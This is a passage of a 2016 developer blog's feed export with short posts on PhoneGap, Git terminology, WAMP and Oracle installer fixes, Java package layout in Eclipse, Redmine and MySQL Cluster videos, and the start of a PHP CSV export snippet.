You’re good to go!&lt;br /&gt;&lt;br /&gt;To learn what’s there in hello world page, go to here :&lt;br /&gt;&lt;a href=&quot;http://docs.phonegap.com/tutorials/develop/hello-world-explained/&quot;&gt;http://docs.phonegap.com/tutorials/develop/hello-world-explained/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Some screenshots :&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://4.bp.blogspot.com/-bO1HynJtDUE/V5A30bswe4I/AAAAAAAABY4/puQp4mmrQFYa1sDFF5tFvbT8esVwhScfwCLcB/s1600/phonegapcli.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;166&quot; src=&quot;https://4.bp.blogspot.com/-bO1HynJtDUE/V5A30bswe4I/AAAAAAAABY4/puQp4mmrQFYa1sDFF5tFvbT8esVwhScfwCLcB/s400/phonegapcli.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://1.bp.blogspot.com/-QB2pSiwQQ40/V5A3qxsU-TI/AAAAAAAABYw/cENLehpcTmw9j18K2Rp2tICZpeUKFcevwCLcB/s1600/Screenshot_2016-07-21-10-39-24-567.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://1.bp.blogspot.com/-QB2pSiwQQ40/V5A3qxsU-TI/AAAAAAAABYw/cENLehpcTmw9j18K2Rp2tICZpeUKFcevwCLcB/s320/Screenshot_2016-07-21-10-39-24-567.png&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;https://3.bp.blogspot.com/-Gw3f8rQQJsY/V5A3sDrauWI/AAAAAAAABY0/Sm3PGgTenusnWALCYb5YgpIJPy5Ec5F7wCLcB/s1600/Screenshot_2016-07-21-10-39-59-967.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://3.bp.blogspot.com/-Gw3f8rQQJsY/V5A3sDrauWI/AAAAAAAABY0/Sm3PGgTenusnWALCYb5YgpIJPy5Ec5F7wCLcB/s320/Screenshot_2016-07-21-10-39-59-967.png&quot; width=&quot;180&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Git & Github</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/07/19/Git-&-Github/"/>
   <updated>2016-07-19T18:42:41+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/07/19/Git-&-Github</id>
   <content type="html">&lt;p&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Intro&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Git is the name of this software.&lt;br /&gt;&lt;br /&gt;Github is the ‘hosted’ version of this software - stored in a remote server.&lt;br /&gt;&lt;br /&gt;Git stores the project’s codes and files.&lt;br /&gt;&lt;br /&gt;Git helps programmers in Versioning the codes - each changes they make to the codes will be tagged to a running number, normally with a comment what changes has been done.&lt;br /&gt;&lt;br /&gt;Git helps several programmers to collaborate - work together in a single project by making sure everyone can have the latest updated codes at any time and everyone is aware what changes are done to the codes - by reading their comments.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;b&gt;Some terms&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Repository&lt;/b&gt; : The storage for the codes.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Trunk &lt;/b&gt;: Main version of the codes stored in the repository.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Branch&lt;/b&gt; : Codes which are derived from trunk (main version). Normally, a programmer will have their own personal branch to work on instead of working directly on trunk - this is to preserve the trunk. So, this could be the first thing they do - branched from trunk. Branched is done on the remote repository - so, basically we creates a copy of the trunk at the remote repository.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Checkout or Clone&lt;/b&gt; : Download the current version of the codes from the remote repository to our pc and saved them locally as “local repository”. This is usually done the first time we get the codes - checkout from our personal branch.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Origin or Master&lt;/b&gt; : The location where codes are checked out from.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Fetch&lt;/b&gt; : Get the latest version of codes from remote repository but not merging to the current codes in local repository yet.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Pull&lt;/b&gt; : Fetch and Merge at the same time.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Commit &lt;/b&gt;: Save the latest changes we did on the local repository to a version. Typically done with a comment what changes have been done.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Add&lt;/b&gt; : Add new file for the next commit (see below)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Push&lt;/b&gt; : Upload current codes (which has last commit) of local repository to the remote repository, typically to the remote branch.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Merge&lt;/b&gt; : “Compare” and “Combine” two versions of  codes. Normally, once all changes are completed on one branch, the branch will be merged to trunk. This will typically happened at the end stage of development.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Conflicts&lt;/b&gt; : The differences between two versions of  codes. Occurs when one tries to merge two versions of codes together (i.e. trunk vs branch) that have some differences. Conflicts need to be “resolved”&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Typical Workflow&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At remote repository, branch from trunk. We get the most updated version.&lt;br /&gt;&lt;br /&gt;Checkout the branch to a local repository at our pc.&lt;br /&gt;&lt;br /&gt;Make some changes on the codes.&lt;br /&gt;&lt;br /&gt;Commit with a message - versioning will be done automatically.&lt;br /&gt;&lt;br /&gt;Make more changes on the codes.&lt;br /&gt;&lt;br /&gt;Commit with another message - new version created.&lt;br /&gt;&lt;br /&gt;Some more changes and commit cycles.&lt;br /&gt;&lt;br /&gt;Work are done.&lt;br /&gt;&lt;br /&gt;Push the branch in our local repository to the branch in remote repository.&lt;br /&gt;&lt;br /&gt;Try to merge the remote branch to the trunk.&lt;br /&gt;    &lt;br /&gt;Conflicts with occurs at this point since we are updating the trunk with our changes. Resolve them.&lt;br /&gt;    &lt;br /&gt;Once merged to trunk, trunk will have our latest codes.&lt;br /&gt;    &lt;br /&gt;Another programmer will try to merge his branch to the trunk.&lt;br /&gt;    &lt;br /&gt;If any conflicts occurs, he need to resolve them first. Typically, if two programmers don’t work at the same issues, there will be not much conflicts or conflicts can be easily resolved.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;To start, install Tortoisegit&lt;/b&gt; below and start checking out from any Github repos :&lt;br /&gt;https://tortoisegit.org/about/screenshots/#Explorer_integration&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>WAMP Port 80 is in use</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/06/15/WAMP-Port-80-is-in-use/"/>
   <updated>2016-06-15T06:32:15+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/06/15/WAMP-Port-80-is-in-use</id>
   <content type="html">&lt;p&gt;Most comprehensive solution yet.&lt;br /&gt;&lt;br /&gt;https://www.devside.net/wamp-server/opening-up-port-80-for-apache-to-use-on-windows&lt;br /&gt;&lt;br /&gt;Because we, devs, are too lazy to type the port number everytime.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Oracle INS-30131 Initial setup error</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/06/14/Oracle-INS-30131-Initial-setup-error/"/>
   <updated>2016-06-14T20:14:18+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/06/14/Oracle-INS-30131-Initial-setup-error</id>
   <content type="html">&lt;p&gt;Had trouble with it. Found some fixes&lt;br /&gt;&lt;br /&gt;Fix 1 :&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Enable administrative share for C$ (Please check with your System Admin to do this or See Microsoft document http://support.microsoft.com/kb/314984)&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Check that it is ok:&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;net use \c$ should work&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;the current user (i.e. user in administrator group) should have all privileges on the default share&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Retry the installation&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Remove the administrative share again&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fix 2 :&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Remove the OracleRemExecService before doing the Oracle Client 12c Release 1 32-bit or 64-bit installation on the same Microsoft Windows x64 (64-bit) after installing the Oracle 64-bit or 32-bit software .&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Go to the Windows ‘Services’&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Stop OracleRemExecServiceV2&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;( This service is having a intelligence .Once someone tries to stop it this service gets deleted. This is due to the fact ,that this service is not running from the Oracle Home like other oracle services ,but from temp . For example : C:\Users\AppData\Local\Temp\oraremservi… )&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Then try to install the Oracle 12c 32-bit or 64-bit on the same Microsoft Windows x64 (64-bit)&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fix 3 :&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;Launch cmd.exe in Administrator mode&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;SET TEMP = C:\TEMP&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;Run the installer from that command window&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Eclipse Java Project Files Organization</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/06/14/Eclipse-Java-Project-Files-Organization/"/>
   <updated>2016-06-14T17:06:15+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/06/14/Eclipse-Java-Project-Files-Organization</id>
   <content type="html">&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;Think of Java sourcecode packages as one big hierarchical namespace. Commercial applications typically live under &apos;com.mycompany.myapp&apos; (the website for this application might be &apos;&lt;a href=&quot;http://myapp.mycompany.com/&quot; style=&quot;border: 0px; color: #005999; cursor: pointer; margin: 0px; padding: 0px; text-decoration: none;&quot;&gt;http://myapp.mycompany.com&lt;/a&gt;&apos; although this is obviously not always the case). How you organize stuff under your myapp package is largely up to you. The distinction you make for C# between executable (.exe), DLL&apos;s and low-level classes does not exist in the same form in Java. All Java source code is compiled into .class files (the contents of which is called &apos;bytecode&apos;) which can be executed by a Java Virtual Machine (JVM) on many platforms. So there is no inherent distinction in high-level/low-level classes, unless you attribute such levels via your packaging. A common way of packaging is:&lt;/div&gt;
&lt;ul style=&quot;background-color: white; border: 0px; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin: 0px 0px 1em 30px; padding: 0px;&quot;&gt;&lt;li style=&quot;border: 0px; margin: 0px 0px 0.5em; padding: 0px; word-wrap: break-word;&quot;&gt;&lt;strong style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;com.mycompany.myapp&lt;/strong&gt;: main class; MyApp (with a main method)&lt;/li&gt;&lt;li style=&quot;border: 0px; margin: 0px 0px 0.5em; padding: 0px; word-wrap: break-word;&quot;&gt;&lt;strong style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;com.mycompany.myapp.model&lt;/strong&gt;: domain model classes; Customer, Order, etc.&lt;/li&gt;&lt;li style=&quot;border: 0px; margin: 0px 0px 0.5em; padding: 0px; word-wrap: break-word;&quot;&gt;&lt;strong style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;com.mycompany.myapp.ui&lt;/strong&gt;: user interface (presentation or view) code&lt;/li&gt;&lt;li style=&quot;border: 0px; margin: 0px 0px 0.5em; padding: 0px; word-wrap: break-word;&quot;&gt;&lt;strong style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;com.mycompany.myapp.service&lt;/strong&gt;: services within your application, i.e. &apos;business logic&apos;&lt;/li&gt;&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; word-wrap: break-word;&quot;&gt;&lt;strong style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;com.mycompany.myapp.util&lt;/strong&gt;: helper classes used in several places&lt;/li&gt;&lt;/ul&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;this suggests a standalone Java app, it might be different if it is a webapp using one of the many frameworks.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;These packages correspond to a directory hierarchy in your project. When using Eclipse, the root of such a hierarchy is called a &apos;source directory&apos;. A project can define multiple source directories, commonly a &apos;main&apos; and a &apos;test&apos; source directory.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;Example of files in your project:&lt;/div&gt;
&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;com&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;acme&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;BarTest&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;java&lt;br /&gt;src&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;com&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;acme&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Bar&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;java&lt;br /&gt;lib&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;utilities_1_0&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;jar&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;And inside utilities_1_0.jar:&lt;/div&gt;
&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;com&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;acme&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;BarUtils&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: #101094; margin: 0px; padding: 0px;&quot;&gt;class&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;BarUtils.class this is a compiled java class, so in platform independent bytecode form that can be run on any JVM. Usually jarfiles only contain the compiled classes although you can sometimes download a version of the jar that also contains the source (.java) files. This is useful if you want to be able to read the original source code of a jar file you are using.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;In the example above Bar, BarTest and BarUtils are all in the same package com.acme.foo but physically reside in different locations on your harddisk.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;Classes that reside directly in a source directory are in the &apos;default package&apos;, it is usually not a good idea to keep classes there because it is not clear to which company and application the class belongs and you can get name conflicts if any jar file you add to your classpath contains a class with the same name in the default package.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;Now if you deploy this application, it would normally be compiled into .class files and bundled in a .jar (which is basically a fancy name for a .zip file plus some manifest info). Making a .jar is not necessary to run the application, but handy when deploying/distributing your application. Using the manifest info you can make a .jar file &apos;executable&apos;, so that a user can easily run it, see [a].&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;Usually you will also be using several libraries, i.e. existing .jar files you obtained from the Internet. Very common examples are log4j (a logging framework) or JDBC libraries for accessing a database etc. Also you might have your own sub-modules that are deployed in separate jarfiles (like &apos;utilities_1_0.jar&apos; above). How things are split over jarfiles is a deployment/distribution matter, they still all share the universal namespace for Java source code. So in effect, you could unzip all the jarfiles and put the contents in one big directory structure if you wanted to (but you generally don&apos;t).&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;When running a Java application which uses/consists of multiple libraries, you run into what is commonly referred to as &apos;Classpath hell&apos;. One of the biggest drawbacks of Java as we know it. (note: help is supposedly&amp;nbsp;&lt;a href=&quot;http://blogs.oracle.com/theplanetarium/entry/project_jigsaw_modularizing_jdk_7&quot; style=&quot;border: 0px; color: #005999; cursor: pointer; margin: 0px; padding: 0px; text-decoration: none;&quot;&gt;on the way&lt;/a&gt;). To run a Java application on the command line (i.e. not from Eclipse) you have to specify every single .jar file location on the classpath. When you are using one of Java&apos;s many frameworks (Maven, Spring, OSGi, Gradle) there is usually some form of support to alleviate this pain. If you are building a web application you would generally just have to adhere to its layering/deployment conventions to be able to easily deploy the thing in the web container of your choice (Tomcat, Jetty, Glassfish).&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;I hope this gives some general insight in how things work in Java!&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Project Management Tool Redmine</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/06/08/Project-Management-Tool-Redmine/"/>
   <updated>2016-06-08T03:44:18+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/06/08/Project-Management-Tool-Redmine</id>
   <content type="html">&lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/dSUVgrMWSGQ&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;
</content>
 </entry>
 
 <entry>
   <title>MySQL Cluster</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/06/08/MySQL-Cluster/"/>
   <updated>2016-06-08T03:16:28+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/06/08/MySQL-Cluster</id>
   <content type="html">&lt;p&gt;Had a nice informal interview (more like a meetup, really) with one of the partners of Kendra Solutions (https://kendra-solutions.com), Andreas. They work on a payment exchange/gateaway system for Telco companies called Kendra Exchange System. Andreas introduced me to some tools that the company are using for the development of their system and MySQL Cluster is one of them.&lt;br /&gt;&lt;br /&gt;Gotta learn what it is.&lt;br /&gt;&lt;br /&gt;&amp;lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/DnWItDTZL2c&quot; width=&quot;560&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;iframe allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/MP_GbMLOqOk&quot; width=&quot;560&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Getting 2-dimensional array data to Excel File with PHP</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/06/08/Getting-2-dimensional-array-data-to-Excel-File-with-PHP/"/>
   <updated>2016-06-08T03:09:38+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/06/08/Getting-2-dimensional-array-data-to-Excel-File-with-PHP</id>
   <content type="html">&lt;p&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; header(‘Content-type: application/ms-excel’);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; header(‘Content-Disposition: attachment; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt; filename=REPORT_ORDER.csv’);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 